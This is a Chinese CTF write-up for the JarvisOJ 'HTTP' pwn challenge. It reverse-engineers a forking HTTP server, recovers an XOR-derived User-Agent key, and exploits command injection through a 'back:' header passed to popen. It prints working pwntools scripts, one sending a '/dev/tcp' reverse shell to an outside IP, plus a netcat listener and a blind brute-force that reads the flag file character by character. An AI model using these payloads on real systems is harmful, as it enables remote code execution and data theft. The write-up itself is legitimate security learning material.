[JarvisOJ][pwn]HTTP

用ida打开之后可以看到这是一个http服务用fork创建了新的进程来处理连接。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int16 s; // [rsp+0h] [rbp-20h]
  uint16_t v4; // [rsp+2h] [rbp-1Eh]
  uint32_t v5; // [rsp+4h] [rbp-1Ch]
  __pid_t v6; // [rsp+14h] [rbp-Ch]
  int v7; // [rsp+18h] [rbp-8h]
  int fd; // [rsp+1Ch] [rbp-4h]

  signal(17, handler);
  fd = socket(2, 1, 0);
  if ( fd < 0 )
  {
    perror("socket");
    exit(-1);
  }
  memset(&s, 0, 0x10uLL);
  s = 2;
  v5 = htonl(0);
  v4 = htons(1807u);
  v7 = bind(fd, (const struct sockaddr *)&s, 0x10u);
  if ( v7 < 0 )
  {
    perror("bind");
    exit(-1);
  }
  v7 = listen(fd, 64);
  if ( v7 < 0 )
  {
    perror("servfd");
    exit(-1);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      ::fd = accept(fd, 0LL, 0LL);
      if ( ::fd >= 0 )
        break;
      perror("confd");
    }
    v6 = fork();
    if ( v6 >= 0 )
    {
      if ( !v6 )
      {
        close(fd);
        sub_40137C(::fd);
        exit(-1);
      }
      close(::fd);
    }
    else
    {
      perror("fork");
    }
  }
}

监听端口为1807
子进程里第一个函数的第一个函数

char *__fastcall sub_40125D(int a1)
{
  int v1; // eax
  char buf; // [rsp+1Fh] [rbp-211h]
  char s[520]; // [rsp+20h] [rbp-210h]
  int v5; // [rsp+228h] [rbp-8h]
  int v6; // [rsp+22Ch] [rbp-4h]

  v6 = 0;
  while ( 1 )
  {
    v5 = read(a1, &buf, 1uLL);
    if ( v5 < 0 )
      break;
    if ( v5 )
    {
      v1 = v6++;
      s[v1] = buf;
      if ( v6 <= '\x03' || s[v6 - 1] != '\n' || s[v6 - 2] != '\r' || s[v6 - 3] != '\n' || s[v6 - 4] != '\r' )
        continue;
    }
    goto LABEL_10;
  }
  perror("read");
LABEL_10:
  s[v6] = 0;
  if ( (unsigned int)sub_40116C(s) )
    return 0LL;
  if ( s[0] )
    return strdup(s);
  return 0LL;

最后4个字符是\r\n 根据http报文格式报文头和报文体之间有个空行
跟进下面第一个函数

signed __int64 __fastcall sub_40116C(const char *a1)
{
  char s; // [rsp+10h] [rbp-8230h]
  char v3; // [rsp+8010h] [rbp-230h]
  char v4; // [rsp+8210h] [rbp-30h]
  char *v5; // [rsp+8238h] [rbp-8h]

  v5 = strstr(a1, "User-Agent: ");
  if ( !v5 )
    return 0LL;
  __isoc99_sscanf(v5, "User-Agent: %32s\r\n", &v4);
  if ( !(unsigned int)sub_400FAF((__int64)&v4) )
    return 0LL;
  v5 = strstr(a1, "back: ");
  if ( !v5 )
    return 0LL;
  __isoc99_sscanf(v5, "back: %512[^\r]s\r\n", &v3);
  sub_40102F(&v3, &s, 0x8000);
  puts(&s);
  sub_4010DF(fd, &s);
  return 1LL;
}

我们的报文里需要有
User-Agent:

back:

sub_400FAF对key进行了加密
sub_40102F中执行了popen函数我们可以让程序执行到这里来获取shell
关键的就是key是什么
接下来我们跟进sub_40102F对key分析

signed __int64 __fastcall sub_400FAF(__int64 a1)
{
  int v2; // [rsp+1Ch] [rbp-14h]
  const char *s; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  s = sub_400D30(off_601CE8);
  v2 = strlen(s);
  for ( i = 0; i < v2; ++i )
  {
    if ( (i ^ *(char *)(i + a1)) != s[i] )
      return 0LL;
  }
  return 1LL;
}

只是简单的异或需要找出来s没有设计到我们输入的东西直接用gdb跟就行了
关于调试进程上篇有说。
我们用浏览器访问用浏览器来获取输入
直接在0x400fca下断

RAX: 0x11885b0 ("2016CCRT")
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x401645 --> 0x726f727265007200 ('')
RDI: 0x7ffe02051c40 --> 0xff000000fbad8001 
RBP: 0x7ffe02051ed0 --> 0x7ffe0205a120 --> 0x7ffe0205a360 --> 0x7ffe0205a390 --> 0x7ffe0205a3c0 --> 0x401550 (push   r15)
RSP: 0x7ffe02051ea0 --> 0x0 
RIP: 0x400fca (mov    QWORD PTR [rbp-0x10],rax)
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x401645 --> 0x726f727265007200 ('')
R12: 0x400b90 (xor    ebp,ebp)
R13: 0x7ffe0205a4a0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400fbb:    mov    rax,QWORD PTR [rip+0x200d26]        # 0x601ce8
   0x400fc2:    mov    rdi,rax
   0x400fc5:    call   0x400d30
=> 0x400fca:    mov    QWORD PTR [rbp-0x10],rax
   0x400fce:    mov    rax,QWORD PTR [rbp-0x10]
   0x400fd2:    mov    rdi,rax
   0x400fd5:    call   0x4009f0 <strlen@plt>
   0x400fda:    mov    DWORD PTR [rbp-0x14],eax
[------------------------------------stack-------------------------------------]
0000| 0x7ffe02051ea0 --> 0x0 
0008| 0x7ffe02051ea8 --> 0x7ffe0205a0f0 ("Mozilla/5.0")
0016| 0x7ffe02051eb0 --> 0x0 
0024| 0x7ffe02051eb8 --> 0x800000000 
0032| 0x7ffe02051ec0 --> 0x1188420 ("2016CCRT")
0040| 0x7ffe02051ec8 --> 0x19577170 
0048| 0x7ffe02051ed0 --> 0x7ffe0205a120 --> 0x7ffe0205a360 --> 0x7ffe0205a390 --> 0x7ffe0205a3c0 --> 0x401550 (push   r15)
0056| 0x7ffe02051ed8 --> 0x4011c7 (test   eax,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400fca in ?? ()

这里的s加密之后就是2016CCRT
我们的key=”2016CCRT”^i
接下来写exp

#!/usr/bihn/env python
from pwn import *
#context.log_level="debug"

command="/bin/bash -c 'sh -i >& /dev/tcp/10.134.166.21/8080 0>&1'"

p=process("./http")
#Io=remote("pwn.jarvisoj.com",9881)
Io=remote("127.0.0.1",1807)
key="2016CCRT"
flag=""
for i in range(len(key)):
    flag+=chr(ord(key[i])^i)
payload=""
payload+="GET / HTTP/1.1\r\n"
payload+="User-Agent: "+flag+"\r\n"
payload+="back: %s\r\n"%command
payload+="\r\n\r\n"
sleep(1)
Io.send(payload)
sleep(1)
print Io.read()

这里用了反弹shell本地只需要监听对应端口就行了
监听命令

sudo nc -lvvp 8080

就可以在本地获取shell了
但是我在服务器上不知道什么原因不行

[+] Opening connection to pwn.jarvisoj.com on port 9881: Done
HTTP/1.1 500 Internal Server Error
Content-Length: 5

Error
[*] Closed connection to pwn.jarvisoj.com port 9881
[*] Stopped process './http' (pid 28223)

很扎心不过道高一尺魔高一丈,咱们可以通过返回的Content-Length值来判断一些东西

v6 = strlen(a2);
  if ( (signed int)v6 <= 0 )
    return write(a1, "HTTP/1.1 500 Internal Server Error\r\nContent-Length: 5\r\n\r\nError", 0x3EuLL);

这里判断返回的数据如果长度为0的话就会输出Content-Length: 5
我们可以直接判断某个数据是否在flag里面。

cat flag|awk '{if(substr($1,2,1)=="4") print "A"}'

substr函数第一个参数是输入的字符串的指针,第二个参数是输出字符串的地几位开始,第三个参数是输出的字符串的长度
这里需要判断我们爆破测试的字符是否在flag字符串里面

#!/usr/bihn/env python
from pwn import *
import os
#context.log_level="debug"

#command="/bin/bash -c 'sh -i >& /dev/tcp/10.134.166.21/8080 0>&1'"
f=""
for p in range(40):
    for char in string.printable:
        command="cat flag|awk '{if(substr($1,%d,1)==\"%s\") print \"%s\"}'" % (p+1, char, "A")
        #p=process("./http")
        Io=remote("pwn.jarvisoj.com",9881)
        #Io=remote("127.0.0.1",1807)
        key="2016CCRT"
        flag=""
        for i in range(len(key)):
            flag+=chr(ord(key[i])^i)
        payload=""
        payload+="GET / HTTP/1.1\r\n"
        payload+="User-Agent: "+flag+"\r\n"
        payload+="back: %s\r\n"%command
        payload+="\r\n\r\n"
        Io.send(payload)
        x=Io.read()
        Io.close()
        os.system("clear")
        print "flag="+f
        if "500" in x:
            continue
        f+=char
print "flag="+f

爆破出来flag
爆破的需要,我们能单个验证,每一个输入的字符都能判断是否正确

在这里构造输入的正确跟错误的值会产生不同的结果。
通过构造命令,能判断每一个字符是否正确。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80918587
pwn
今日推荐